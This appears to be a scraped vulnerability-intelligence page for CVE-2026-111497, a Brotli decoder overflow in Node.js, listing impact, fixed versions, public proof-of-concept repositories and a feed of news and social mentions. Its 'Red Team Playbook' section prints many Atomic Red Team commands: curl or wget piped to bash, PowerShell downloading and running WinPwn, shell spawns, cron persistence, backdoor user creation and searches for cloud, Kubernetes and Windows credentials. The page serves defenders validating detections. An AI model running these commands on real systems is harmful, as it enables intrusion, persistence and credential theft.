CVE-2026-111497
Overview
This vulnerability is a buffer overflow caused by improper bounds checking in the Brotli decoder implementation, specifically in the c/dec/decode.c source file. The flaw occurs during the decoding process of Brotli-compressed streams, where crafted input can overwrite adjacent memory regions within the decoder's internal state. Affected components include Google Brotli library versions 1.0.3 through 1.2.0 across all supported platforms.
Vulnerability Description
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
Impact
An unauthenticated attacker can exploit this vulnerability by supplying a malicious Brotli-compressed stream to an application using the affected decoder, resulting in disclosure of sensitive memory contents, denial of service via application crash, or execution of arbitrary code with the privileges of the decoding process. This can lead to full system compromise or data breaches in environments where Brotli decompression is performed on untrusted input. No user interaction or credentials are necessary to trigger the exploit, increasing the attack surface for remote exploitation.
Solution
Users should upgrade any Google Brotli libraries or binaries from versions 1.0.3 through 1.2.0 to the fixed releases 1.0.10, 1.1.1, or 1.2.1 as applicable. Detailed patch instructions and updates are available in the Node.js October 2026 Security Releases advisory at https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high. No workarounds are documented; applying the vendor-provided patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (11)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
dimasma0305/CVE-2026-111497-POC
Reproducible local Brotli decoder proof for CVE-2026-111497 with a self-checking tuned RCE harness
|
dimasma0305 | 9 | 5 | 2026-10-22 | View |
|
CaterMaoZi/CVE-2026-111497-POC
Nodejs漏洞 CVE-2026-111497 POC
|
CaterMaoZi | 10 | 3 | 2026-10-21 | View |
|
hypnguyen1209/CVE-2026-111497
Node.js Brotli Decoder OOB Write to RCE
|
hypnguyen1209 | 3 | 3 | 2026-10-22 | View |
|
ikow/brotli2crash
CVE-2026-111497 — Node.js Brotli Decoder OOB Write: Deep Analysis & Structural Unreachability Proof. MLEN_MAX = BLOCK_SI...
|
ikow | 2 | 1 | 2026-10-22 | View |
|
TheFool-TAROT/CVE-2026-111497-brotli-pwn
CVE-2026-111497: Node.js Brotli decoder OOB write — analysis, PoC, Docker lab
|
TheFool-TAROT | 1 | 0 | 2026-10-22 | View |
|
Sami-AlEsh/nodejs-security-check
Agent skill + zero-dependency script: check a Node.js project against the Oct 2026 Node.js security release (Brotli RCE ...
|
Sami-AlEsh | 1 | 0 | 2026-10-22 | View |
|
duytien241/nodejs-CVE-2026-111497
|
duytien241 | 0 | 0 | 2026-10-23 | View |
|
Charlie-Netdevops/node-hostcheck
Read-only Node.js check for the Oct 2026 security release (CVE-2026-111497 Brotli RCE + 9). Finds every install (nvm,...
|
Charlie-Netdevops | 0 | 0 | 2026-10-23 | View |
|
incu-tech/october-cyber-family
Security Ways for AI coding agents. First member audits Node.js repos for the Oct 21, 2026 security release (CVE-2026-11...
|
incu-tech | 0 | 0 | 2026-10-22 | View |
|
TahuCryptsi/node-brotli-check
Local probe for CVE-2026-111497 (Node.js Brotli decoder OOB write). Fixed in 22.23.4/24.22.1/26.12.1; EOL lines unpatche...
|
TahuCryptsi | 0 | 0 | 2026-10-22 | View |
|
AdapptOnAzure/cve-2026-111497-mitigation
|
AdapptOnAzure | 0 | 0 | 2026-10-22 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
112 mentions from 98 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @postac001.bsky.social 2026-10-23 11:27 UTCNode.js 24.22.0で、細工されたBrotliデータにより、攻撃者が任意のコードを実行できる脆弱性(CVE-2026-111497)が発見されました。Open source
-
social news.ycombinator.com bmitch3020 2026-10-23 11:10 UTCBrotli vulnerability affects curl and GitOpen source
-
social infosec.exchange @harrysintonen 2026-10-23 10:41 UTC# git command https remote is affected by the # brotli buffer overflow vulnerability CVE-2026-111497 since it enables compression support: https:// github.com/git/git/blob/7e34d8 174dcda3435d1404c9a30bef46afe6c13e/http.c#L2284 https:// git…Open source
-
social bsky.app @undercode.bsky.social 2026-10-23 10:27 UTCCritical Nodejs Security Advisory: Mitigating Ten Core Vulnerabilities Including Brotli RCE (CVE-2026-111497) + Video Introduction: On October 21, 2026, the Node.js project released critical security updates addressing ten distinct vulnera…Open source
-
social bsky.app @stackflag.bsky.social 2026-10-23 10:20 UTCCVE-2026-111497 - nodejs Versions of the Brotli compression library from 1.0.3 through 1.2.0, used in Debian’s Node.js packages and the Debian and Google Brotli packages, can be tricked into… Too many irrelevant or confusing CVEs? Use stac…Open source
-
code github.com TahuCryptsi 2026-10-23 09:52 UTCTahuCryptsi/brotli-distro-checkOpen source
-
social infosec.exchange @harrysintonen 2026-10-23 09:41 UTCFor some reason, the CVE-2026-111497 buffer overflow vulnerability in the # brotli decoder is mostly associated with # nodejs , but this is a far wider issue. Brotli compression is supported by many client-side applications processing HTTP…Open source
-
social bsky.app @firerun.io 2026-10-23 09:37 UTCNode.js fixed a high-severity Brotli decoder flaw, CVE-2026-111497. Vercel's WAF blocks inbound attacks but not responses a function fetches. #Firebase #Vercel #Security #NodeJsOpen source
-
news news.ssbcrack.com 2026-10-23 09:23 UTCNode.js issues urgent security fix for critical Brotli decoder flaw (CVE-2026-111497) - SSBCrackOpen source
-
news twaslnews1.twaslnews.com 2026-10-23 09:17 UTCNode.js patches Node2shell flaw with CVE-2026-111497 fix - شبكة تواصل الإخباريةOpen source
-
social bsky.app @zubiqo.bsky.social 2026-10-23 09:12 UTCCrafted Brotli data can trigger RCE on an official Node.js 24.22.0 Linux arm64 build (CVE-2026-111497), Imperva demonstrated after several tries. Node.js patched 22.x, 24.x, and 26.x on Oct 21 with no runtime workaround, and inbound WAF ru…Open source
-
social infosec.exchange @securestep9 2026-10-23 09:05 UTCRunning #NodeJS? #Node2Shell (CVE-2026-111497) can turn malicious Brotli-compressed data into #RCE (Remote Code Execution). Upgrade #Node to 22.23.4, 24.22.1 or 26.12.1 and rebuild your containers. #AppSec👇https://www.aikido.dev/blog/node2…Open source
-
social bsky.app @securestep9.bsky.social 2026-10-23 09:05 UTCRunning #NodeJS? #Node2Shell (CVE-2026-111497) can turn malicious Brotli-compressed data into #RCE (Remote Code Execution). Upgrade #Node to 22.23.4, 24.22.1 or 26.12.1 and rebuild your containers. #AppSec 👇Open source
-
social bsky.app @newssecia.bsky.social 2026-10-23 09:03 UTC🤖 Node2Shell: RCE on an official Node.js 24.22.0 build (Linux arm64) via crafted Brotli data in the bundled decoder — no debugger, no custom build (CVE-2026-111497). https://thehackernews.com/2026/10/researchers-demonstrate-node2shell-rce.…Open source
-
social infosec.exchange @cloud 2026-10-23 09:03 UTC🤖 Node2Shell: Imperva demonstrated RCE on an official Node.js 24.22.0 build (Linux arm64) with no debugger or custom build — attacker-supplied code runs via crafted Brotli data fed to the bundled decoder (CVE-2026-111497). 🔗 https:// theha…Open source
-
social infosec.exchange @edwardk 2026-10-23 09:00 UTCResearchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data Malicious Brotli data can make an application on an official build of Node.js run attacker-supplied code, security researchers at Imperva have demons…Open source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-10-23 08:40 UTCOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-10-23 08:33 UTCResearchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli DataOpen source
-
social mastodon.social @bagder 2026-10-23 08:21 UTCThe brotli problem is indeed in the C library: CVE-2026-111497: out-of-bounds write permits remote code executionOpen source
-
social bsky.app @bagder.mastodon.social.ap.brid.gy 2026-10-23 08:20 UTCThe brotli problem is indeed in the C library: CVE-2026-111497: out-of-bounds write permits remote code executionOpen source
-
code github.com shivrajem 2026-10-23 08:16 UTCshivrajem/node2shell-detectOpen source
-
social bsky.app @hacks.gr 2026-10-23 08:12 UTCImperva demonstrated remote code execution in official Node.js builds using malformed Brotli data (CVE-2026-111497). Affects lines 22, 24, and 26. Node.js released patches on Oct 21. https://en.hacks.gr/keno-asfaleias-sto-node-js-epetrepe-…Open source
-
social mastodon.social @hacksgr 2026-10-23 08:12 UTCSecurity researchers at Imperva demonstrated that malformed Brotli data can achieve remote code execution in official Node.js builds, tracked as CVE-2026-111497. Affected lines include Node.js 22.x, 24.x, and 26.x, involving the bundled Br…Open source
-
news thehackernews.com 2026-10-23 07:50 UTCResearchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data - The Hacker NewsOpen source
-
social bsky.app @cybowl.bsky.social 2026-10-23 07:37 UTCVulnérabilités critiques (CVSS ≥ 9) · 2 • Cisco Expressway Series (CVE-2026-76466), CVSS 9.8 (Cyberveille) • Node.js (CVE-2026-111497), CVSS 9.2 (Cyberveille)Open source
-
social bsky.app @jorijn.jorijn.social.ap.brid.gy 2026-10-23 06:58 UTCI am tired boss https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497 #SecurityOpen source
-
social bsky.app @estrogen.pro 2026-10-23 06:49 UTCI patched 50 systems yesterday. I woke with bind9 to patch today and as I'm about go to to bed there's a nodejs cve similar to the php2shell one from the other day. At least my patch management system hasn't gone offline again after the PH…Open source
-
social bsky.app @pmloik.bsky.social 2026-10-23 06:26 UTCTop 3 CVE for last 7 days: CVE-2026-109618: 1053 interactions CVE-2026-109619: 813 interactions CVE-2026-110264: 238 interactions Top 3 CVE for yesterday: CVE-2026-109618: 304 interactions CVE-2026-109619: 226 interactions CVE-2026-111497:…Open source
-
social bsky.app @shopergamer.bsky.social 2026-10-23 06:01 UTCNode.js พบช่องโหว่ร้ายแรง Brotli Decoder RCE (CVE-2026-111497) กระทบ 22.x/24.x/26.x #ShoperGamer #NodeJs #Runtime #CyberSecurity #Security #FeedOpen source
-
news rescana.com 2026-10-23 06:00 UTCNode2Shell: Node.js Brotli Flaw CVE-2026-111497 Can Allow Remote Code Execution, Upgrade to 22.23.4, 24.22.1 or 26.12.1 - RescanaOpen source
-
code github.com CodeDotJS 2026-10-23 04:40 UTCCodeDotJS/pwn.piedOpen source
-
code github.com Saturate 2026-10-23 04:29 UTCSaturate/CVE-2026-111497Open source
-
social bsky.app @opsmatters.com 2026-10-23 03:50 UTCThe latest update for #AikidoSecurity includes "Node2Shell: #Nodejs Brotli vulnerability allows remote code execution (CVE-2026-111497)" and "LiteLLM compromised again: infostealer and RAT found in version 1.107.0". #Cybersecurity #AppSec…Open source
-
code github.com duytien241 2026-10-23 02:14 UTCduytien241/nodejs-CVE-2026-111497Open source
-
social news.ycombinator.com Fordec 2026-10-23 00:54 UTCNode2Shell: Node.js Brotli vulnerability allows remote code executionOpen source
-
code gist.github.com alanhoff 2026-10-23 00:47 UTC{ "name": "cve-2026-111497-check", "description": "Safe trigger for detecting CVE-2026-111497 vulnerability", "version": "0.1.0", "bin": "./cve-2026-111497-check.mjs" }Open source
-
code github.com Charlie-Netdevops 2026-10-23 00:45 UTCCharlie-Netdevops/node-hostcheckOpen source
-
social bsky.app @cybersecurity.page 2026-10-23 00:42 UTCAnother runtime headache. A remote code execution vulnerability (CVE-2026-111497) affects the Brotli implementation in Node.js, following a similar flaw seen in PHP runtimes.Open source
-
social bsky.app @topiatsume.bsky.social 2026-10-23 00:18 UTC💻 Node.jsがセキュリティアップデートで「22.23.4」「24.22.1」「26.12.1」配信、全体で10件の脆弱性を修正 Node.jsは10月21日にセキュリティアップデートを公開し、脆弱性10件を修正した。 ・高深刻度のCVE-2026-111497はリモートコード実行のリスク ・x・24.x・22.xの全バージョンに影響する脆弱性も 📰 3媒体が報道: 窓の杜・Qiita・GIGAZINE ▶ 各社の報道を比べる topiatsume.pages.dev/…Open source
-
social bsky.app @dailyzenntrends.bsky.social 2026-10-22 23:57 UTC今日のZennトレンド Node.jsの2026年10月セキュリティリリースに、手元の50リポジトリとVercel・Cloud Runで対応した 2026年10月のNode.jsセキュリティリリースに伴い、50件のリポジトリとVercelやCloud Run等の環境で更新を行った記録です。 Vercelの設定挙動やイメージの再作成、Claude Codeによる一括修正時の注意点、Prismaのビルドキャッシュ問題など、大規模な更新作業で直面した具体的な課題とその解決策をまと…Open source
-
social bsky.app @vulnsea.com 2026-10-22 22:44 UTC🌊 ABYSSAL · critical with a public exploit CVE-2026-111497: Out-of-Bounds Write in Google Brotli Decoder CVSS 9.2 https://beta.vulnsea.com/cve/CVE-2026-111497 #CVE #infosec #cybersecurity #threatintelOpen source
-
news ox.security 2026-10-22 22:41 UTCNode.js Brotli Decoder Out-of-Bounds Write (RCE) – CVE-2026-111497 - OX SecurityOpen source
-
news pasqualepillitteri.it 2026-10-22 21:19 UTCNode.js patches 10 vulnerabilities, including a Brotli flaw Codex found - Pasquale PillitteriOpen source
-
social bsky.app @nightshade.technology 2026-10-22 21:09 UTCCVE-2026-111497 unauthenticated RCE in Node.js (brotli decoder flaw). PATCHES ARE AVAILABLE; PATCH ASAP! apps that do not decode brotli payloads are not affected, but Express's stock config does, which is enough to trigger the bug. www.imp…Open source
-
news aikido.dev 2026-10-22 19:47 UTCNode2Shell: Node.js Brotli vulnerability allows remote code execution (CVE-2026-111497) and the fix - Aikido SecurityOpen source
-
code github.com ikow 2026-10-22 19:40 UTCikow/brotli2crashOpen source
-
social mastodon.social @secpoint 2026-10-22 19:34 UTCIs your Node.js application vulnerable to CVE-2026-111497? A newly disclosed High-severity vulnerability in the Node.js Brotli decoder could allow remote code execution when attacker-controlled compressed data reaches the affected componen…Open source
-
social bsky.app @secpoint.bsky.social 2026-10-22 19:26 UTCIs your Node.js application vulnerable to CVE-2026-111497? Request a SecPoint Penetrator demonstration: www.secpoint.com/contact-me.php **Become a SecPoint partner:** www.secpoint.com/partner-sign... #NodeJS #CVE2026111497 #SecPointPenetra…Open source
-
social bsky.app @threatroundup.bsky.social 2026-10-22 17:58 UTCNode.js fixed a Brotli decoder bug (CVE-2026-111497) it says could allow remote code execution on all supported lines. A PoC only got RCE on a weakened build, per The Hacker News. Upgrade to 22.23.4, 24.22.1 or 26.12.1. threatroundup.com/n…Open source
-
code gist.github.com iamkunal9 2026-10-22 16:47 UTCYou are auditing this repository **and this machine** for three issues from October 2026. Report findings and propose a diff. **Do not commit**, **do not run fix commands**, and **do not do major-version bumps** without asking me first. ##…Open source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-111497 |
| nodejs.org |
GitHub CVE
patch
|
https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high |